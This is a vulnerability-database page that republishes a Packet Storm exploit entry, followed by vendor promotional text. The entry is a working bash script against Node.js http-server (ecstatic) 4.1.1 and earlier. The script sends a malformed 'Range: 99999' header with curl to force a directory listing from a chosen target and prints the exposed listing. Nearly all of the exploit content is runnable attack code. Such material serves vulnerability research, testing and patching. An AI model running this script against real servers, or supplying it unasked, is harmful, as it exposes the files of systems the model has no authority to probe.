Lucene search
K

📄 Node.JS 4.1.1 Directory Listing

🗓️ 16 Sep 2025 00:00:00Reported by d4t4s3cType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 144 Views

Exploits directory listing in Node.js http-server versions up to 4.1.1 via Range header.

Code
#!/bin/bash
    
    # Exploit Title: Node.JS <= 4.1.1 http-server (ecstatic) 'Range:' - Directory Listing
    # Date: 2025-09-12
    # Exploit Author: Miguel Redondo (aka d4t4s3c)
    # Vendor Homepage: https://github.com/http-party
    # Software Link: https://github.com/http-party/http-server
    # Version: <= 4.1.1
    # Tested on: Linux
    # Category: Web Application
    # CVE: N/A
    
    while getopts ":t:u:" arg; do
      case $arg in
        t) TARGET=$OPTARG; let parameter_counter+=1 ;;
        u) URI=$OPTARG; let parameter_counter+=1 ;;
      esac
    done
    
    if [ -z "$TARGET" ] || [ -z "$URI" ]; then
      echo -e "\n[i] Usage: ${0} -t <TARGET> -u <URI>\n"
      exit
    else
      echo -e "\n[+] TARGET: ${TARGET}${URI}\n"
      curl -s -H "Range: 99999" ${TARGET}${URI} | html2text | sed '1d;$d'
    fi

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation